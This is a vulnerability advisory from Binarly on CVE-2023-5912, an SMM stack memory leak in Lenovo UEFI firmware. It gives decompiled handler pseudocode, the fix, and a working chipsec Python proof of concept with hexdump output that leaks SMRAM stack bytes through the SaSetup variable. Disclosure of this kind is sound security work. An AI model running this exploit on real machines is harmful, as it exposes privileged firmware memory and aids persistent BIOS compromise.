[BRLY-DVA-2023-003] SMM memory contents leak / information disclosure vulnerability in SMM driver (SMRAM read)

This vulnerability was detected by the Deep Vulnerability Analysis (DVA) component from Binarly Platform

Vulnerability Information

• BINARLY internal vulnerability identifier: BRLY-DVA-2023-003
• Lenovo PSIRT assigned CVE identifier: CVE-2023-5912
• CVSS v3.1 Score 6.0 Medium AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Affected Lenovo firmware with confirmed impact by BINARLY team

Potential impact

An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, and read SMM stack content (that can help to execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it). Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by threat actors to bypass security mechanisms provided by the UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors).

Vulnerability description

Vulnerability located in SMI handler with SwSmiInputValue = 0xCA. The vulnerable function sub_167C will be executed at the beginning of the handler.

The vulnerable function pseudocode is presented below:

MACRO_EFI sub_167C()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  SmiData = __inbyte(gB3DataPort);
  if ( SmiData < 36 )
    goto _EfiUnsupported;
  if ( SmiData > 38 )
  {
    if ( SmiData > 47 )
    {
      if ( SmiData <= 49 )
      {
        VendorGuid.Data1 = 0xA04A27F4;
        *&VendorGuid.Data2 = 0x4D42DF00;
        *VendorGuid.Data4 = 0x513952B5;
        *&VendorGuid.Data4[4] = 0x3D110213;
        gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
        DataSize = 1200;
        EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
        Data[240] = SmiData == 48;
        goto _SmmSetSetupVariable;
      }
      if ( SmiData <= 0x33 )
      {
        VendorGuid.Data1 = 0xA04A27F4;
        *&VendorGuid.Data2 = 0x4D42DF00;
        *VendorGuid.Data4 = 0x513952B5;
        *&VendorGuid.Data4[4] = 0x3D110213;
        gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
        DataSize = 1200;
        EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
        Data[244] = SmiData == 50;
        goto _SmmSetSetupVariable;
      }
      if ( SmiData <= 0x35 )
      {
        VendorGuid.Data1 = 0xA04A27F4;
        *&VendorGuid.Data2 = 0x4D42DF00;
        *VendorGuid.Data4 = 0x513952B5;
        *&VendorGuid.Data4[4] = 0x3D110213;
        gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
        DataSize = 1200;
        EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
        Data[246] = SmiData == 0x35;
_SmmSetSetupVariable:
        EfiSmmVariableProtocol->SmmSetVariable(L"Setup", &VendorGuid, 7, DataSize, Data);
        Status = EFI_SUCCESS;
        goto _Exit;
      }
    }
_EfiUnsupported:
    Status = EFI_UNSUPPORTED;
    goto _Exit;
  }
  gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
  DataSize = 1143;
  EfiSmmVariableProtocol->SmmGetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 0, &DataSize, Data);
  Value = 4;
  if ( SmiData == 38 )
    Value = 1;
  Status = EFI_SUCCESS;
  if ( SmiData == 36 )
    Value = 0;
  Data[177] = Value;
  EfiSmmVariableProtocol->SmmSetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 7, DataSize, Data);
_Exit:
  __outbyte(gB3DataPort, 0);
  return Status;
}

As we can see from the pseudocode, for the Setup and SaSetup variables EfiSmmVariableProtocol->SmmSetVariable() service is called with the DataSize value, which can be overwritten inside the EfiSmmVariableProtocol->SmmGetVariable() service.

Thus, a potential attacker can write X - INITIAL_DATA_SIZE bytes from the stack to NVRAM if writes any buffer of length X > INITIAL_DATA_SIZE to the SaSetup or Setup NVRAM variable:

• for the Setup variable INITIAL_DATA_SIZE = 1200
• for the SaSetup variable INITIAL_DATA_SIZE = 1143

In order to fix this vulnerability, the DataSize variable must be initialized each time before EfiSmmVariableProtocol->SmmSetVariable().

Exploitation from the runtime (without physical access)

It should be noted that the Setup variable cannot be changed from runtime, however 72c5e28c-7783-43a1-8767-fad73fccafa4-SaSetup can be changed from the runtime due to misconfiguration in variables filtering.

Below is the PoC code which shows that the value of the SaSetup variable can be changed from the runtime and after SMI handler execution attacker will able to obtain data from SMM stack:

import hexdump

import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)

SMI_NUM = 0xCA
SMI_DATA = 0x25


def main():
    size_to_leak = 0x100  # specify how many bytes we want to leak
    sasetup_initial_data = uefi.get_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
    )
    sasetup_new_data = sasetup_initial_data + b"A" * size_to_leak
    uefi.set_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
        sasetup_new_data,
        len(sasetup_new_data),
    )

    # leak SMM stack data
    intr.send_SW_SMI(0, SMI_NUM, SMI_DATA, 0, 0, 0, 0, 0, 0)
    value = uefi.get_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
    )
    leked_data = value[len(sasetup_initial_data) :]
    hexdump.hexdump(leked_data)

    # restore SaSetup variable
    uefi.set_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
        sasetup_initial_data,
        len(sasetup_initial_data),
    )


if __name__ == "__main__":
    main()

The result of the execution:

test@test:~/chipsec$ sudo python3 ChgBootSmm_poc.py
...
[CHIPSEC] Platform: Actual values: VID = 0x8086, DID = 0x4601, RID = 0x04, CPUID = 0x906A4
00000000: 00 41 00 00 00 00 00 00  00 90 21 D8 4B 00 00 00  .A........!.K...
00000010: 00 D1 A6 D1 4B 00 00 00  00 80 02 A6 40 00 00 00  ....K.......@...
00000020: 00 80 23 D8 4B 00 00 00  00 41 00 00 00 00 00 00  ..#.K....A......
00000030: 00 90 21 D8 4B 00 00 00  00 20 22 D8 4B 00 00 00  ..!.K.... ".K...
00000040: 00 8B E9 C3 4B 00 00 00  00 77 05 00 00 00 00 00  ....K....w......
00000050: 00 18 60 BA 4B 00 00 00  00 18 A0 C4 4B 00 00 00  ..`.K.......K...
00000060: 00 00 00 00 00 00 00 00  00 30 94 FF 4B 00 00 00  .........0..K...
00000070: 00 EA 5B FD 4B 00 00 00  00 50 24 D8 4B 00 00 00  ..[.K....P$.K...
00000080: 00 B1 21 D8 4B 00 00 00  00 B1 21 D8 4B 00 00 00  ..!.K.....!.K...
00000090: 00 F4 27 4A A0 00 DF 42  4D B5 52 39 51 13 02 11  ..'J...BM.R9Q...
000000A0: 3D 70 22 D8 4B 00 00 00  00 01 00 00 00 00 00 00  =p".K...........
000000B0: 00 40 22 D8 4B 00 00 00  00 80 02 00 00 00 41 00  .@".K.........A.
000000C0: 00 01 82 00 00 00 00 00  00 00 09 40 00 00 09 00  ...........@....
000000D0: 00 00 00 00 00 00 00 01  00 0B 7A 1D 06 E9 4F 05  ..........z...O.
000000E0: 76 3A 0F A9 20 BB 9A FE  A9 B4 D2 D7 7A 20 1F FC  v:.. .......z ..
000000F0: AC 4F 4C 65 47 CC 7D 59  13 E0 94 FF 4B 00 00 00  .OLeG.}Y....K...

Disclosure timeline

This vulnerability is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the vulnerability report will become visible to the public.

Acknowledgements

BINARLY efiXplorer team